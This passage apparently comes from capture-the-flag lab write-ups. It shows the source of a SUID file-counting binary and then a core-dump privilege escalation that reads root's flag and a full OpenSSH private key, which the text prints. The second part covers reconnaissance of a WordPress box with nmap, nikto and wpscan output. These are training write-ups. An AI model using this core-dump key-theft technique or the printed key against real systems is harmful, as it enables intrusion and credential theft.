#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <dirent.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <linux/limits.h>

void dircount(const char *path, char *summary)
{
    DIR *dir;
    char fullpath[PATH_MAX];
    struct dirent *ent;
    struct stat fstat;

    int tot = 0, regular_files = 0, directories = 0, symlinks = 0;

    if((dir = opendir(path)) == NULL)
    {
        printf("\nUnable to open directory.\n");
        exit(EXIT_FAILURE);
    }
    while ((ent = readdir(dir)) != NULL)
    {
        ++tot;
        strncpy(fullpath, path, PATH_MAX-NAME_MAX-1);
        strcat(fullpath, "/");
        strncat(fullpath, ent->d_name, strlen(ent->d_name));
        if (!lstat(fullpath, &fstat))
        {
            if(S_ISDIR(fstat.st_mode))
            {
                printf("d");
                ++directories;
            }
            else if(S_ISLNK(fstat.st_mode))
            {
                printf("l");
                ++symlinks;
            }
            else if(S_ISREG(fstat.st_mode))
            {
                printf("-");
                ++regular_files;
            }
            else printf("?");
            printf((fstat.st_mode & S_IRUSR) ? "r" : "-");
            printf((fstat.st_mode & S_IWUSR) ? "w" : "-");
            printf((fstat.st_mode & S_IXUSR) ? "x" : "-");
            printf((fstat.st_mode & S_IRGRP) ? "r" : "-");
            printf((fstat.st_mode & S_IWGRP) ? "w" : "-");
            printf((fstat.st_mode & S_IXGRP) ? "x" : "-");
            printf((fstat.st_mode & S_IROTH) ? "r" : "-");
            printf((fstat.st_mode & S_IWOTH) ? "w" : "-");
            printf((fstat.st_mode & S_IXOTH) ? "x" : "-");
        }
        else
        {
            printf("??????????");
        }
        printf ("\t%s\n", ent->d_name);
    }
    closedir(dir);

    snprintf(summary, 4096, "Total entries       = %d\nRegular files       = %d\nDirectories         = %d\nSymbolic links      = %d\n", tot, regular_files, directories, symlinks);
    printf("\n%s", summary);
}


void filecount(const char *path, char *summary)
{
    FILE *file;
    char ch;
    int characters, words, lines;

    file = fopen(path, "r");

    if (file == NULL)
    {
        printf("\nUnable to open file.\n");
        printf("Please check if file exists and you have read privilege.\n");
        exit(EXIT_FAILURE);
    }

    characters = words = lines = 0;
    while ((ch = fgetc(file)) != EOF)
    {
        characters++;
        if (ch == '\n' || ch == '\0')
            lines++;
        if (ch == ' ' || ch == '\t' || ch == '\n' || ch == '\0')
            words++;
    }

    if (characters > 0)
    {
        words++;
        lines++;
    }

    snprintf(summary, 256, "Total characters = %d\nTotal words      = %d\nTotal lines      = %d\n", characters, words, lines);
    printf("\n%s", summary);
}


int main()
{
    char path[100];
    int res;
    struct stat path_s;
    char summary[4096];

    printf("Enter source file/directory name: ");
    scanf("%99s", path);
    getchar();
    stat(path, &path_s);
    if(S_ISDIR(path_s.st_mode))
        dircount(path, summary);
    else
        filecount(path, summary);

    // drop privs to limit file write
    setuid(getuid());
    // Enable coredump generation
    prctl(PR_SET_DUMPABLE, 1);
    printf("Save results a file? [y/N]: ");
    res = getchar();
    if (res == 121 || res == 89) {
        printf("Path: ");
        scanf("%99s", path);
        FILE *fp = fopen(path, "a");
        if (fp != NULL) {
            fputs(summary, fp);
            fclose(fp);
        } else {
            printf("Could not open %s for writing\n", path);
        }
    }

    return 0;
}
```

We run `cat /proc/sys/fs/suid_dumpable` to get `2`, which means `SUID` binaries can create core dumps. We can load the `/root/root.txt` file in memory and then purposely crash the program to create a coredump of the program's memory, which will have the loaded `root.txt` flag in it. Searching for how to crash the program and cause a coredump finds [this StackOverflow answer](https://stackoverflow.com/a/5648539), but we need to use `SIGSEGV` to cause an actual crash not just the quit command.

This [Unix StackExchange answer](https://unix.stackexchange.com/a/15534) describes the vulnerability: "The core dump contains a copy of everything which was in memory at the time of the fault. If the program is running suid, that means it needs access to something which you, as a user, do not have access to. If the program gets that information then dumps core, you'll be able to read that privileged information."

So, we will run the program, enter the path to `root.txt` to load it into the program's memory, then we will kill the program, and then return to the program to cause the core dump.

```
(remote) dasith@secret:/opt$ ./count
Enter source file/directory name: /root/root.txt

Total characters = 33
Total words      = 2
Total lines      = 2
Save results a file? [y/N]: ^Z
[1]+  Stopped                 ./count
(remote) dasith@secret:/opt$ ps
    PID TTY          TIME CMD
  31803 pts/1    00:00:00 bash
  31925 pts/1    00:00:00 bash
  32288 pts/1    00:00:00 count
  32292 pts/1    00:00:00 ps
(remote) dasith@secret:/opt$ kill -SIGSEGV 32288
(remote) dasith@secret:/opt$ fg
./count
Segmentation fault (core dumped)
```

We see that this is an Ubnutu machine with `cat /etc/issue*` and searching online for where coredumps are in Ubuntu finds [this Ubuntu StackExchange answer](https://askubuntu.com/a/1109747). So, they are in `/var/crash/`. This Ubuntu StackExchange answer says that Apport handles the coredumps. Going to the offical Apport page on [Ubuntu's wiki](https://wiki.ubuntu.com/Apport#Tools) mentions several tools including `apport-unpack`, which is "most useful for extracting the core dump," which is what we want to do. We can extract the coredump with `apport-unpack _opt_count.1000.crash /tmp/crash-report`.

Now, the `CoreDump` file at `/tmp/crash-report/CoreDump` is a binary file so trying to view it with `cat` doesn't work well. We can instead use the `string` command so view the strings within it since the contents of `/root/root.txt` should be in there. We can get the `root.txt` flag in one command with `strings CoreDump | grep -e "[0-9a-f]\{32\}"`. This pipes the strings from `CoreDump` into `grep`, which searches for a regular expression that matches MD5 hashes (regex from [this StackOverflow answer](https://stackoverflow.com/a/4505675)).

To get a root shell we can use the same technique to view the `/root/.ssh/id_rsa` file, which will be `root`'s SSH private key.

```
(remote) dasith@secret:/opt$ ./count
Enter source file/directory name: /root/.ssh/id_rsa

Total characters = 2602
Total words      = 45
Total lines      = 39
Save results a file? [y/N]: ^Z
[1]+  Stopped                 ./count
(remote) dasith@secret:/opt$ ps
    PID TTY          TIME CMD
  31803 pts/1    00:00:00 bash
  31925 pts/1    00:00:00 bash
  32477 pts/1    00:00:00 count
  32481 pts/1    00:00:00 ps
(remote) dasith@secret:/opt$ kill -SIGSEGV 32477
(remote) dasith@secret:/opt$ fg
./count
Segmentation fault (core dumped)
```

Unpack with `apport-unpack /var/crash/_opt_count.1000.crash /tmp/crash-report2` and find the private key with `strings /tmp/crash-report2/CoreDump | grep -A 40 "BEGIN OPENSSH PRIVATE KEY"`. `-A 40` gets 40 lines after the matched text.

```
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
```

Use `nano secret_root_key` and paste in the private key. Set the permissions for the key so that SSH will accept it: `chmod 600 secret_root_key`. Then, get a root SSH shell with `ssh root@10.10.11.120 -i secret_root_key`.


# Paper

## Enumeration

### Nmap

First, let's scan for open ports using `nmap`. We can quickly scan for open ports and store them in a variable: `ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.143 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)`. Then, we can scan those specific ports in depth by running `nmap`'s built-in scripts: `nmap -p$ports -sC -sV 10.10.11.143`.

```
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey: 
|   2048 10:05:ea:50:56:a6:00:cb:1c:9c:93:df:5f:83:e0:64 (RSA)
|   256 58:8c:82:1c:c6:63:2a:83:87:5c:2f:2b:4f:4d:c3:79 (ECDSA)
|_  256 31:78:af:d1:3b:c4:2e:9d:60:4e:eb:5d:03:ec:a0:22 (ED25519)
80/tcp  open  http     Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)
|_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28
|_http-title: HTTP Server Test Page powered by CentOS
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
443/tcp open  ssl/http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)
|_http-title: HTTP Server Test Page powered by CentOS
|_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28
| http-methods: 
|_  Potentially risky methods: TRACE
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=Unspecified/countryName=US
| Subject Alternative Name: DNS:localhost.localdomain
| Not valid before: 2021-07-03T08:52:34
|_Not valid after:  2022-07-08T10:32:34
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
| tls-alpn: 
|_  http/1.1
|_ssl-date: TLS randomness does not represent time
```

We have a an Apache webserver running on ports 80 and 443 in addition to SSH on port 22. Browsing to the website shows "HTTP Server Test Page powered by CentOS".

### Apache

Directory bruteforcing doesn't provide any details: `gobuster dir -u http://10.10.11.143 -t 100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt`., Couldn't find any vulnerabilties for the Apache/OpenSSL/PHP versions (`x-powered-by header: PHP/7.2.24`) being used.

Running `nikto` with `nikto -h http://10.10.11.143` finds `Uncommon header 'x-backend-server' found, with contents: office.paper`. So, lets add that to the `/etc/hosts` file: `echo "10.10.11.143 office.paper" | sudo tee -a /etc/hosts`.

### Wordpress

`office.paper` is a wordpress instance. Browsing around we find the page `http://office.paper/index.php/2021/06/19/feeling-alone/` with a comment saying "Michael, you should remove the secret content from your drafts ASAP, as they are not that secure as you think! -Nick," which indicates that there is information in drafted posts for us to find.

Let's run `wpscan`: `wpscan --url http://office.paper`.

```
[+] Headers
 | Interesting Entries:
 |  - Server: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
 |  - X-Powered-By: PHP/7.2.24
 |  - X-Backend-Server: office.paper
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] WordPress readme found: http://office.paper/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] WordPress version 5.2.3 identified (Insecure, released on 2019-09-05).
 | Found By: Rss Generator (Passive Detection)
 |  - http://office.paper/index.php/feed/, <generator>https://wordpress.org/?v=5.2.3</generator>
 |  - http://office.paper/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.2.3</generator>
 |
 | [!] 31 vulnerabilities identified:
 |
 | [!] Title: WordPress <= 5.2.3 - Stored XSS in Customizer
 |     Fixed in: 5.2.4
 |     References:
 |      - https://wpscan.com/vulnerability/d39a7b84-28b9-4916-a2fc-6192ceb6fa56
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17674
 |      - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
 |      - https://blog.wpscan.com/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html
 |
 | [!] Title: WordPress <= 5.2.3 - Unauthenticated View Private/Draft Posts
 |     Fixed in: 5.2.4
 |     References:
 |      - https://wpscan.com/vulnerability/3413b879-785f-4c9f-aa8a-5a4a1d5e0ba2
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17671
 |      - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
 |      - https://blog.wpscan.com/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html
 |      - https://github.com/WordPress/WordPress/commit/f82ed753cf00329a5e41f2cb6dc521085136f308
 |      - https://0day.work/proof-of-concept-for-wordpress-5-2-3-viewing-unauthenticated-posts/
 |
 | [!] Title: WordPress <= 5.2.3 - Stored XSS in Style Tags
 |     Fixed in: 5.2.4
 |     References:
 |      - https://wpscan.com/vulnerability/d005b1f8-749d-438a-8818-21fba45c6465
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17672
 |      - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
 |      - https://blog.wpscan.com/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html
 |
 | [!] Title: WordPress <= 5.2.3 - JSON Request Cache Poisoning
 |     Fixed in: 5.2.4
 |     References:
 |      - https://wpscan.com/vulnerability/7804d8ed-457a-407e-83a7-345d3bbe07b2
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17673
 |      - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
 |      - https://github.com/WordPress/WordPress/commit/b224c251adfa16a5f84074a3c0886270c9df38de
 |      - https://blog.wpscan.com/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html
 |
 | [!] Title: WordPress <= 5.2.3 - Server-Side Request Forgery (SSRF) in URL Validation 
 |     Fixed in: 5.2.4
 |     References:
 |      - https://wpscan.com/vulnerability/26a26de2-d598-405d-b00c-61f71cfacff6
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17669
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17670
 |      - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
 |      - https://github.com/WordPress/WordPress/commit/9db44754b9e4044690a6c32fd74b9d5fe26b07b2
 |      - https://blog.wpscan.com/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html
 |
 | [!] Title: WordPress <= 5.2.3 - Admin Referrer Validation
 |     Fixed in: 5.2.4
 |     References:
 |      - https://wpscan.com/vulnerability/715c00e3-5302-44ad-b914-131c162c3f71
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17675
 |      - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
 |      - https://github.com/WordPress/WordPress/commit/b183fd1cca0b44a92f0264823dd9f22d2fd8b8d0
 |      - https://blog.wpscan.com/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html
 |
 | [!] Title: WordPress <= 5.3 - Authenticated Improper Access Controls in REST API
 |     Fixed in: 5.2.5
 |     References:
 |      - https://wpscan.com/vulnerability/4a6de154-5fbd-4c80-acd3-8902ee431bd8
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-20043
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16788
 |      - https://wordpress.org/news/2019/12/wordpress-5-3-1-security-and-maintenance-release/
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-g7rg-hchx-c2gw
 |
 | [!] Title: WordPress <= 5.3 - Authenticated Stored XSS via Crafted Links
 |     Fixed in: 5.2.5
 |     References:
 |      - https://wpscan.com/vulnerability/23553517-34e3-40a9-a406-f3ffbe9dd265
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-20042
 |      - https://wordpress.org/news/2019/12/wordpress-5-3-1-security-and-maintenance-release/
 |      - https://hackerone.com/reports/509930
 |      - https://github.com/WordPress/wordpress-develop/commit/1f7f3f1f59567e2504f0fbebd51ccf004b3ccb1d
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-xvg2-m2f4-83m7
 |
 | [!] Title: WordPress <= 5.3 - Authenticated Stored XSS via Block Editor Content
 |     Fixed in: 5.2.5
 |     References:
 |      - https://wpscan.com/vulnerability/be794159-4486-4ae1-a5cc-5c190e5ddf5f
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16781
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16780
 |      - https://wordpress.org/news/2019/12/wordpress-5-3-1-security-and-maintenance-release/
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-pg4x-64rh-3c9v
 |
 | [!] Title: WordPress <= 5.3 - wp_kses_bad_protocol() Colon Bypass
 |     Fixed in: 5.2.5
 |     References:
 |      - https://wpscan.com/vulnerability/8fac612b-95d2-477a-a7d6-e5ec0bb9ca52
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-20041
 |      - https://wordpress.org/news/2019/12/wordpress-5-3-1-security-and-maintenance-release/
 |      - https://github.com/WordPress/wordpress-develop/commit/b1975463dd995da19bb40d3fa0786498717e3c53
 |
 | [!] Title: WordPress < 5.4.1 - Password Reset Tokens Failed to Be Properly Invalidated
 |     Fixed in: 5.2.6
 |     References:
 |      - https://wpscan.com/vulnerability/7db191c0-d112-4f08-a419-a1cd81928c4e
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11027
 |      - https://wordpress.org/news/2020/04/wordpress-5-4-1/
 |      - https://core.trac.wordpress.org/changeset/47634/
 |      - https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-ww7v-jg8c-q6jw
 |
 | [!] Title: WordPress < 5.4.1 - Unauthenticated Users View Private Posts
 |     Fixed in: 5.2.6
 |     References:
 |      - https://wpscan.com/vulnerability/d1e1ba25-98c9-4ae7-8027-9632fb825a56
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11028
 |      - https://wordpress.org/news/2020/04/wordpress-5-4-1/
 |      - https://core.trac.wordpress.org/changeset/47635/
 |      - https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-xhx9-759f-6p2w
 |
 | [!] Title: WordPress < 5.4.1 - Authenticated Cross-Site Scripting (XSS) in Customizer
 |     Fixed in: 5.2.6
 |     References:
 |      - https://wpscan.com/vulnerability/4eee26bd-a27e-4509-a3a5-8019dd48e429
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11025
 |      - https://wordpress.org/news/2020/04/wordpress-5-4-1/
 |      - https://core.trac.wordpress.org/changeset/47633/
 |      - https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-4mhg-j6fx-5g3c
 |
 | [!] Title: WordPress < 5.4.1 - Authenticated Cross-Site Scripting (XSS) in Search Block
 |     Fixed in: 5.2.6
 |     References:
 |      - https://wpscan.com/vulnerability/e4bda91b-067d-45e4-a8be-672ccf8b1a06
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11030
 |      - https://wordpress.org/news/2020/04/wordpress-5-4-1/
 |      - https://core.trac.wordpress.org/changeset/47636/
 |      - https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-vccm-6gmc-qhjh
 |
 | [!] Title: WordPress < 5.4.1 - Cross-Site Scripting (XSS) in wp-object-cache
 |     Fixed in: 5.2.6
 |     References:
 |      - https://wpscan.com/vulnerability/e721d8b9-a38f-44ac-8520-b4a9ed6a5157
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11029
 |      - https://wordpress.org/news/2020/04/wordpress-5-4-1/
 |      - https://core.trac.wordpress.org/changeset/47637/
 |      - https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-568w-8m88-8g2c
 |
 | [!] Title: WordPress < 5.4.1 - Authenticated Cross-Site Scripting (XSS) in File Uploads
 |     Fixed in: 5.2.6
 |     References:
 |      - https://wpscan.com/vulnerability/55438b63-5fc9-4812-afc4-2f1eff800d5f
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11026
 |      - https://wordpress.org/news/2020/04/wordpress-5-4-1/
 |      - https://core.trac.wordpress.org/changeset/47638/
 |      - https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-3gw2-4656-pfr2
 |      - https://hackerone.com/reports/179695
 |
 | [!] Title: WordPress <= 5.2.3 - Hardening Bypass
 |     Fixed in: 5.2.4
 |     References:
 |      - https://wpscan.com/vulnerability/378d7df5-bce2-406a-86b2-ff79cd699920
 |      - https://blog.ripstech.com/2020/wordpress-hardening-bypass/
 |      - https://hackerone.com/reports/436928
 |      - https://wordpress.org/news/2019/11/wordpress-5-2-4-update/
 |
 | [!] Title: WordPress < 5.4.2 - Authenticated XSS in Block Editor
 |     Fixed in: 5.2.7
 |     References:
 |      - https://wpscan.com/vulnerability/831e4a94-239c-4061-b66e-f5ca0dbb84fa
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-4046
 |      - https://wordpress.org/news/2020/06/wordpress-5-4-2-security-and-maintenance-release/
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-rpwf-hrh2-39jf
 |      - https://pentest.co.uk/labs/research/subtle-stored-xss-wordpress-core/
 |      - https://www.youtube.com/watch?v=tCh7Y8z8fb4
 |
 | [!] Title: WordPress < 5.4.2 - Authenticated XSS via Media Files
 |     Fixed in: 5.2.7
 |     References:
 |      - https://wpscan.com/vulnerability/741d07d1-2476-430a-b82f-e1228a9343a4
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-4047
 |      - https://wordpress.org/news/2020/06/wordpress-5-4-2-security-and-maintenance-release/
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-8q2w-5m27-wm27
 |
 | [!] Title: WordPress < 5.4.2 - Open Redirection
 |     Fixed in: 5.2.7
 |     References:
 |      - https://wpscan.com/vulnerability/12855f02-432e-4484-af09-7d0fbf596909
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-4048
 |      - https://wordpress.org/news/2020/06/wordpress-5-4-2-security-and-maintenance-release/
 |      - https://github.com/WordPress/WordPress/commit/10e2a50c523cf0b9785555a688d7d36a40fbeccf
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-q6pw-gvf4-5fj5
 |
 | [!] Title: WordPress < 5.4.2 - Authenticated Stored XSS via Theme Upload
 |     Fixed in: 5.2.7
 |     References:
 |      - https://wpscan.com/vulnerability/d8addb42-e70b-4439-b828-fd0697e5d9d4
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-4049
 |      - https://www.exploit-db.com/exploits/48770/
 |      - https://wordpress.org/news/2020/06/wordpress-5-4-2-security-and-maintenance-release/
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-87h4-phjv-rm6p
 |      - https://hackerone.com/reports/406289
 |
 | [!] Title: WordPress < 5.4.2 - Misuse of set-screen-option Leading to Privilege Escalation
 |     Fixed in: 5.2.7
 |     References:
 |      - https://wpscan.com/vulnerability/b6f69ff1-4c11-48d2-b512-c65168988c45
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-4050
 |      - https://wordpress.org/news/2020/06/wordpress-5-4-2-security-and-maintenance-release/
 |      - https://github.com/WordPress/WordPress/commit/dda0ccdd18f6532481406cabede19ae2ed1f575d
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-4vpv-fgg2-gcqc
 |
 | [!] Title: WordPress < 5.4.2 - Disclosure of Password-Protected Page/Post Comments
 |     Fixed in: 5.2.7
 |     References:
 |      - https://wpscan.com/vulnerability/eea6dbf5-e298-44a7-9b0d-f078ad4741f9
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-25286
 |      - https://wordpress.org/news/2020/06/wordpress-5-4-2-security-and-maintenance-release/
 |      - https://github.com/WordPress/WordPress/commit/c075eec24f2f3214ab0d0fb0120a23082e6b1122
 |
 | [!] Title: WordPress 4.7-5.7 - Authenticated Password Protected Pages Exposure
 |     Fixed in: 5.2.10
 |     References:
 |      - https://wpscan.com/vulnerability/6a3ec618-c79e-4b9c-9020-86b157458ac5
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-29450
 |      - https://wordpress.org/news/2021/04/wordpress-5-7-1-security-and-maintenance-release/
 |      - https://blog.wpscan.com/2021/04/15/wordpress-571-security-vulnerability-release.html
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-pmmh-2f36-wvhq
 |      - https://core.trac.wordpress.org/changeset/50717/
 |      - https://www.youtube.com/watch?v=J2GXmxAdNWs
 |
 | [!] Title: WordPress 3.7 to 5.7.1 - Object Injection in PHPMailer
 |     Fixed in: 5.2.11
 |     References:
 |      - https://wpscan.com/vulnerability/4cd46653-4470-40ff-8aac-318bee2f998d
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-36326
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-19296
 |      - https://github.com/WordPress/WordPress/commit/267061c9595fedd321582d14c21ec9e7da2dcf62
 |      - https://wordpress.org/news/2021/05/wordpress-5-7-2-security-release/
 |      - https://github.com/PHPMailer/PHPMailer/commit/e2e07a355ee8ff36aba21d0242c5950c56e4c6f9
 |      - https://www.wordfence.com/blog/2021/05/wordpress-5-7-2-security-release-what-you-need-to-know/
 |      - https://www.youtube.com/watch?v=HaW15aMzBUM
 |
 | [!] Title: WordPress < 5.8.2 - Expired DST Root CA X3 Certificate
 |     Fixed in: 5.2.13
 |     References:
 |      - https://wpscan.com/vulnerability/cc23344a-5c91-414a-91e3-c46db614da8d
